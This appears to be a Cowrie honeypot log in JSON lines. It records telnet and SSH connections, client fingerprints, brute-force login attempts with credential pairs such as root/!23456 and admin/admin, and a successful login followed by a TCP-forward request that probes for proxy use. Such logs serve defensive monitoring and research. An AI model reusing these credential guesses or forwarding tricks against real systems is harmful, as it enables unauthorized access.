{"eventid":"cowrie.session.connect","src_ip":"108.179.216.206","src_port":58476,"dst_ip":"10.17.0.5","dst_port":23,"session":"83b80ba6b8b7","protocol":"telnet","message":"New connection: 108.179.216.206:58476 (10.17.0.5:23) [session: 83b80ba6b8b7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:05:23.802680Z"}
{"eventid":"cowrie.session.connect","src_ip":"108.179.216.206","src_port":58548,"dst_ip":"10.17.0.5","dst_port":23,"session":"537002e84a9c","protocol":"telnet","message":"New connection: 108.179.216.206:58548 (10.17.0.5:23) [session: 537002e84a9c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:05:23.861188Z"}
{"eventid":"cowrie.session.closed","duration":31.36046814918518,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:05:24.004583Z","src_ip":"209.126.87.217","session":"65441cdd951b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"108.179.216.206","src_port":58834,"dst_ip":"10.17.0.5","dst_port":23,"session":"0a8d7d0b2780","protocol":"telnet","message":"New connection: 108.179.216.206:58834 (10.17.0.5:23) [session: 0a8d7d0b2780]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:05:24.176303Z"}
{"eventid":"cowrie.session.connect","src_ip":"108.179.216.206","src_port":60002,"dst_ip":"10.17.0.5","dst_port":23,"session":"0078c5835296","protocol":"telnet","message":"New connection: 108.179.216.206:60002 (10.17.0.5:23) [session: 0078c5835296]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:05:24.413047Z"}
{"eventid":"cowrie.session.connect","src_ip":"108.179.216.206","src_port":60182,"dst_ip":"10.17.0.5","dst_port":23,"session":"52155c18bf47","protocol":"telnet","message":"New connection: 108.179.216.206:60182 (10.17.0.5:23) [session: 52155c18bf47]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:05:24.640202Z"}
{"eventid":"cowrie.session.connect","src_ip":"108.179.216.206","src_port":60558,"dst_ip":"10.17.0.5","dst_port":23,"session":"421650d4dbe6","protocol":"telnet","message":"New connection: 108.179.216.206:60558 (10.17.0.5:23) [session: 421650d4dbe6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:05:25.123071Z"}
{"eventid":"cowrie.session.connect","src_ip":"108.179.216.206","src_port":59944,"dst_ip":"10.17.0.5","dst_port":23,"session":"5479bb16db9b","protocol":"telnet","message":"New connection: 108.179.216.206:59944 (10.17.0.5:23) [session: 5479bb16db9b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:05:25.380172Z"}
{"eventid":"cowrie.session.connect","src_ip":"108.179.216.206","src_port":60940,"dst_ip":"10.17.0.5","dst_port":23,"session":"2e32a34f3ae4","protocol":"telnet","message":"New connection: 108.179.216.206:60940 (10.17.0.5:23) [session: 2e32a34f3ae4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:05:25.470778Z"}
{"eventid":"cowrie.session.connect","src_ip":"108.179.216.206","src_port":32796,"dst_ip":"10.17.0.5","dst_port":23,"session":"b138d152f8f1","protocol":"telnet","message":"New connection: 108.179.216.206:32796 (10.17.0.5:23) [session: b138d152f8f1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:05:25.579020Z"}
{"eventid":"cowrie.session.connect","src_ip":"108.179.216.206","src_port":32830,"dst_ip":"10.17.0.5","dst_port":23,"session":"09eb2adaf452","protocol":"telnet","message":"New connection: 108.179.216.206:32830 (10.17.0.5:23) [session: 09eb2adaf452]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:05:25.617956Z"}
{"eventid":"cowrie.session.closed","duration":35.18636989593506,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:05:25.734346Z","src_ip":"209.126.87.217","session":"388957a1e492","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"108.179.216.206","src_port":60504,"dst_ip":"10.17.0.5","dst_port":23,"session":"4560b103e001","protocol":"telnet","message":"New connection: 108.179.216.206:60504 (10.17.0.5:23) [session: 4560b103e001]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:05:26.024648Z"}
{"eventid":"cowrie.session.closed","duration":30.09925079345703,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:05:26.071750Z","src_ip":"108.179.216.206","session":"e81c6f7c75ec","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.126.87.217","src_port":56984,"dst_ip":"159.203.135.109","dst_port":23,"session":"7060f3015398","protocol":"telnet","message":"New connection: 209.126.87.217:56984 (159.203.135.109:23) [session: 7060f3015398]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:05:26.227096Z"}
{"eventid":"cowrie.session.connect","src_ip":"108.179.216.206","src_port":59794,"dst_ip":"10.17.0.5","dst_port":23,"session":"5fbbbf80c7ed","protocol":"telnet","message":"New connection: 108.179.216.206:59794 (10.17.0.5:23) [session: 5fbbbf80c7ed]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:05:26.232956Z"}
{"eventid":"cowrie.session.closed","duration":35.000535011291504,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:05:26.565807Z","src_ip":"209.126.87.217","session":"5cf8897ada0d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"108.179.216.206","src_port":32798,"dst_ip":"10.17.0.5","dst_port":23,"session":"31773ffb9cb6","protocol":"telnet","message":"New connection: 108.179.216.206:32798 (10.17.0.5:23) [session: 31773ffb9cb6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:05:26.585380Z"}
{"eventid":"cowrie.session.closed","duration":33.10474729537964,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:05:26.625687Z","src_ip":"209.126.87.217","session":"6ccb73feaf30","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.146.202.174","src_port":53584,"dst_ip":"159.203.135.109","dst_port":22,"session":"fe9dccfb0bba","protocol":"ssh","message":"New connection: 103.146.202.174:53584 (159.203.135.109:22) [session: fe9dccfb0bba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:05:26.856607Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:05:26.865252Z","src_ip":"103.146.202.174","session":"fe9dccfb0bba","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:05:27.112174Z","src_ip":"103.146.202.174","session":"fe9dccfb0bba","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"108.179.216.206","src_port":34514,"dst_ip":"10.17.0.5","dst_port":23,"session":"75df5d9a136a","protocol":"telnet","message":"New connection: 108.179.216.206:34514 (10.17.0.5:23) [session: 75df5d9a136a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:05:27.329760Z"}
{"eventid":"cowrie.session.connect","src_ip":"108.179.216.206","src_port":34982,"dst_ip":"10.17.0.5","dst_port":23,"session":"535126354425","protocol":"telnet","message":"New connection: 108.179.216.206:34982 (10.17.0.5:23) [session: 535126354425]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:05:27.786182Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"!23456","message":"login attempt [root/!23456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:05:28.122456Z","src_ip":"103.146.202.174","session":"fe9dccfb0bba","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.290446519851685,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:05:28.626522Z","src_ip":"108.179.216.206","session":"cbb8b5fd851d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.067957401275635,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:05:28.972715Z","src_ip":"108.179.216.206","session":"9360ad216b5f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"108.179.216.206","src_port":36180,"dst_ip":"10.17.0.5","dst_port":23,"session":"28ff65f15567","protocol":"telnet","message":"New connection: 108.179.216.206:36180 (10.17.0.5:23) [session: 28ff65f15567]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:05:29.014635Z"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:05:29.372001Z","src_ip":"103.146.202.174","session":"fe9dccfb0bba","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"209.126.87.217","src_port":37132,"dst_ip":"159.203.135.109","dst_port":23,"session":"a4d80c47544d","protocol":"telnet","message":"New connection: 209.126.87.217:37132 (159.203.135.109:23) [session: a4d80c47544d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:05:29.866153Z"}
{"eventid":"cowrie.session.connect","src_ip":"108.179.216.206","src_port":37036,"dst_ip":"10.17.0.5","dst_port":23,"session":"3cc6114c061e","protocol":"telnet","message":"New connection: 108.179.216.206:37036 (10.17.0.5:23) [session: 3cc6114c061e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:05:29.874751Z"}
{"eventid":"cowrie.session.connect","src_ip":"108.179.216.206","src_port":34282,"dst_ip":"10.17.0.5","dst_port":23,"session":"961b6da076ad","protocol":"telnet","message":"New connection: 108.179.216.206:34282 (10.17.0.5:23) [session: 961b6da076ad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:05:30.062330Z"}
{"eventid":"cowrie.session.closed","duration":30.77926993370056,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:05:30.069331Z","src_ip":"108.179.216.206","session":"159347b55f4e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.89033508300781,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:05:30.191628Z","src_ip":"209.126.87.217","session":"05d12d086681","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.764092206954956,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:05:30.681841Z","src_ip":"108.179.216.206","session":"616f0bc07529","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":45070,"dst_ip":"159.203.135.109","dst_port":22,"session":"ae72d2d3c351","protocol":"ssh","message":"New connection: 159.203.92.129:45070 (159.203.135.109:22) [session: ae72d2d3c351]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:05:30.824466Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:05:30.830925Z","src_ip":"159.203.92.129","session":"ae72d2d3c351","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:05:30.837882Z","src_ip":"159.203.92.129","session":"ae72d2d3c351","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ansible","password":"Linux@123","message":"login attempt [ansible/Linux@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:05:30.875018Z","src_ip":"159.203.92.129","session":"ae72d2d3c351","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.70208215713501,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:05:31.444562Z","src_ip":"108.179.216.206","session":"76589ec7185b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"108.179.216.206","src_port":38774,"dst_ip":"10.17.0.5","dst_port":23,"session":"835956533a48","protocol":"telnet","message":"New connection: 108.179.216.206:38774 (10.17.0.5:23) [session: 835956533a48]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:05:31.590651Z"}
{"eventid":"cowrie.session.connect","src_ip":"108.179.216.206","src_port":39074,"dst_ip":"10.17.0.5","dst_port":23,"session":"cc917f3f0e40","protocol":"telnet","message":"New connection: 108.179.216.206:39074 (10.17.0.5:23) [session: cc917f3f0e40]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:05:31.845025Z"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:05:31.882424Z","src_ip":"159.203.92.129","session":"ae72d2d3c351","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"108.179.216.206","src_port":39226,"dst_ip":"10.17.0.5","dst_port":23,"session":"a7d4be9a4ded","protocol":"telnet","message":"New connection: 108.179.216.206:39226 (10.17.0.5:23) [session: a7d4be9a4ded]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:05:32.023502Z"}
{"eventid":"cowrie.session.connect","src_ip":"108.179.216.206","src_port":38574,"dst_ip":"10.17.0.5","dst_port":23,"session":"2fc0ccb56a2f","protocol":"telnet","message":"New connection: 108.179.216.206:38574 (10.17.0.5:23) [session: 2fc0ccb56a2f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:05:32.379951Z"}
{"eventid":"cowrie.session.connect","src_ip":"108.179.216.206","src_port":38734,"dst_ip":"10.17.0.5","dst_port":23,"session":"e662c7ed2093","protocol":"telnet","message":"New connection: 108.179.216.206:38734 (10.17.0.5:23) [session: e662c7ed2093]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:05:32.550287Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.126.87.217","src_port":37142,"dst_ip":"159.203.135.109","dst_port":23,"session":"fc69f4059ecd","protocol":"telnet","message":"New connection: 209.126.87.217:37142 (159.203.135.109:23) [session: fc69f4059ecd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:05:32.609888Z"}
{"eventid":"cowrie.session.closed","duration":120.00166416168213,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:05:32.647617Z","src_ip":"191.251.162.82","session":"cc2445b72a4a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.431701183319092,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:05:32.662338Z","src_ip":"108.179.216.206","session":"7427859d06d5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"191.251.162.82","src_port":52230,"dst_ip":"159.203.135.109","dst_port":23,"session":"e0e3c7594b22","protocol":"telnet","message":"New connection: 191.251.162.82:52230 (159.203.135.109:23) [session: e0e3c7594b22]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:05:33.309000Z"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":14602,"dst_ip":"10.17.0.5","dst_port":22,"session":"f0421002cdcd","protocol":"ssh","message":"New connection: 87.251.64.176:14602 (10.17.0.5:22) [session: f0421002cdcd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:05:33.328286Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:05:33.333622Z","src_ip":"87.251.64.176","session":"f0421002cdcd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"108.179.216.206","src_port":37506,"dst_ip":"10.17.0.5","dst_port":23,"session":"b2b7157e5b6d","protocol":"telnet","message":"New connection: 108.179.216.206:37506 (10.17.0.5:23) [session: b2b7157e5b6d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:05:33.337631Z"}
{"eventid":"cowrie.session.connect","src_ip":"108.179.216.206","src_port":39602,"dst_ip":"10.17.0.5","dst_port":23,"session":"e87abdeccdcd","protocol":"telnet","message":"New connection: 108.179.216.206:39602 (10.17.0.5:23) [session: e87abdeccdcd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:05:33.396719Z"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:05:33.431389Z","src_ip":"87.251.64.176","session":"f0421002cdcd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"108.179.216.206","src_port":39772,"dst_ip":"10.17.0.5","dst_port":23,"session":"79127c32a1d4","protocol":"telnet","message":"New connection: 108.179.216.206:39772 (10.17.0.5:23) [session: 79127c32a1d4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:05:33.508651Z"}
{"eventid":"cowrie.session.closed","duration":36.8522686958313,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:05:33.514098Z","src_ip":"209.126.87.217","session":"b5b3b36f7fb7","protocol":"telnet"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:05:33.722665Z","src_ip":"87.251.64.176","session":"f0421002cdcd","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:05:33.823925Z","session":"f0421002cdcd","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:05:33.922385Z","src_ip":"87.251.64.176","session":"f0421002cdcd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:05:34.021266Z","src_ip":"87.251.64.176","session":"f0421002cdcd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00118589401245,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:05:34.066316Z","src_ip":"72.27.54.238","session":"7d6f705d7ff1","protocol":"telnet"}
